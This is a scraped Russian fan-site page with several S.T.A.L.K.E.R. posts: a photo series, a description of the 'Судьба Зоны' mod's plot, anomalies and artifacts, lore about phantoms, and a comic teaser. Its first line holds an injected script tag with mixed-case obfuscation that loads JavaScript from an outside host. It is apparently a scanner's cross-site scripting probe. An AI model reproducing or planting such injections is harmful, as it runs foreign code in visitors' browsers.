</title><ScRiPt/src=https://wapiti3.ovh/1z.js></sCrIpT/>
»длиннопост Broken Art опустошение аномальные зоны песочница #S.T.A.L.K.E.R
Решил поделиться рядом фоторабот по околосталкерской тематике (сам фанат сеттинга S.T.A.L.K.E.R. и темы заброшенных мест, опустошения/разрушения). Все фото исключительно мои (некоторые в соавторстве, т.к. я там "модЭль" :) ). За навыки ФШ просьба не пинать, они очч посредственные (я не профи, снимаю и обрабатываю, что называется, просто для души)
"Детектор аномалий"
"Прах былых времён"
"Осколки Отражений"
"А за окном, наверное... Жизнь?!"
"Заблудившийся"
"Харон"
"Запретная умиротворенность"
"Зов Припяти"
"Обреченность"
"Выбрался!.."
BioShock Игры witcher Call of Duty Crysis Assassin's Creed Mass Effect stalker (игра) фэндомы
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect \ 1 вши : ш,stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img0.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924392.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img1.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924393.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect ТИС цщтнск,stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img0.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924394.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img1.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924395.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img0.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924396.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img1.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924397.jpeg)
![stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect stalker (игра),BioShock,Игры,witcher,фэндомы,Call of Duty,Crysis,Assassin's Creed,Mass Effect](http://img0.reactor.cc/pics/post/stalker-%28%D0%B8%D0%B3%D1%80%D0%B0%29-BioShock-%D0%98%D0%B3%D1%80%D1%8B-witcher-3924398.jpeg)
Правильный ответ напишу немного позже :)
Судьба ЗоныЗоны Судьба зоны stalker video stalker mods #S.T.A.L.K.E.R
СУДЬБА ЗОНЫ модификация с новым сюжетом построенная на платформе Сталкер Тени Чернобыля. Судьба Зоны это попытка авторов показать игру и зону отчуждения совершенно в другом обличии, при этом стараясь отойти от неписанных канонов того самого Сталкера. Проект Судьба Зоны предложит игроку исследовать несколько десятков игровых локаций, значительно измененных после произошедшего в Зоне Сверх-выброса. Увидеть совершенно новую сюжетную историю глазами обычного человека по имени Андрей Войтенко, оказавшегося в гуще событий, надвигающейся угрозы. Помимо совершенно нового сюжета в модификацию добавлена возможность фриплея, новые персонажи, ряд интересных геймплейных и технических решений, которые делают игру на порядок стабильнее и интереснее, многие из которых являются авторскими.
О СЮЖЕТЕ
Действия сюжета разворачиваются в 2014 году. Остались далеко позади события происходящие в Тенях Чернобыля и Зове Припяти, Стрелком давно уже выключен выжигатель, но не смотря на это Зона Отчуждения практически осталась прежней и в ней мало что изменилось. Однако в 2014 году Зону накрывает новый Сверх-выброс, в результате которого Зона разрастается до не вероятных масштабов и удваивает свою территорию в несколько раз. Прежние кордоны уничтожены, проведенная операция по эвакуации гражданского населения, провалена и половина людей населявших эти территории осталась в зоне катастрофы. Катастрофа принимает международный характер и с целью сдерживания хлынувшей волны мутантов, в зону отчуждения прибывают войска НАТО.Главным героем этой истории становиться бывший слесарь по имени Андрей Войтенко. Он является жителем одного из поселка оказавшегося в черте разрастающейся катастрофы. Отсутствие родственников, крова и работы вынуждают принять единственное решение отправиться в Зону. Сюжет мода Судьба Зоны начинает свое развитие в поселке под названием Чернобыль 4. Севернее от которого расположены натовский блокпост, развернутый с целью сдерживания натиска мутантов и места с известным названием Кордон. Стоит заметить, что в свете последних событий Кордон уже является далеко не окраиной Зоны, а располагается глубоко в её центре.Сюжет мода Судьба Зоны будет иметь нелинейный характер, при этом предложив игрокам в финале несколько концовок. Некоторые из них возможно изменят Зону. От старого сюжета ТЧ не останется и следа, дополнительно в игре будет реализован фриплей. Последние события сильно перетряхнувшие зону, заставили многие группировки сменить места дислокации, что неизбежно повлекло за собой образования новых.
ОБ АНОМАЛИЯХ
После каждого выброса аномалии и артефакты генерируются совершенно случайным образом. На локациях размещены зоны аномальной активности, аналог подобных из Зова Припяти. Одно из отличий эти зоны наполняются групповыми аномалиями, цепи, поля и динамические формации. Цепь - это цепная последовательность аномалий, она может быть прерывистой и принимать любую форму. Аномальное поле - это некоторый участок земли на котором аномалии размещены в случайном порядке, они могут различаться по насыщенности и чем ближе мы приближаемся к центру зоны тем опаснее поля и цепи.
ОБ АРТЕФАКТАХ
Свойства артефактом определяются случайно, вы сможете встретить один и тот же тип артефакта, но с более или менее выраженными свойствами. Тип артефакта зависит не только от типа аномалии породивший его, но и от её расположения, находиться она в цепи или же в поле. Артефакты которые вы сможете найти на игровых локациях : Бенгальский огонь, Слизь, Генератор, Орбиталь, Кристальная колючка, Перо, Гнилая земля, Серафим (список артефактов не полный).
Местный фольклор #S.T.A.L.K.E.R
В догонку посту о Фантазме выкладываю инфо о фантомах.
Мда. А сталкер мог быть куда более шире. Черт, он был бы легендой из легенд, если бы все это реализовали!
Гибель блокпоста …Из-за отсутствия ответов на позывные к блокпосту был срочно выслан отряд солдат на двух джипах, внутри блокпоста были обнаружены еще теплые трупы. Трупы сидели в расслабленных позах, как живые. После расследования была найдена видеозапись на которой видно, как из ниоткуда появляются человекоподобные призраки - фантомы. Фантомы подходят к солдатам, которые как ни в чем не бывало продолжают разговор, касаются их, и жертвы со вздохом обмирают… |
Теневые фантомы Глубоко в Зоне сталкеры встречали странные полуживые образования, которых назвали теневыми фантомами. Эти образования проявляются в местах, где отсутствует свет, в тенях, подземельях, особенно четко проявляются ночью. Они неуничтожимы, смертельны они или нет неизвестно, встретившие их сталкеры не захотели проверить и коснуться их. |
сделал сам творчество Игры ранение будущий комикс. песочница Кликабельно S.T.A.L.K.E.R.
Повторяю, что он еще не закончен, и это только первая картинка.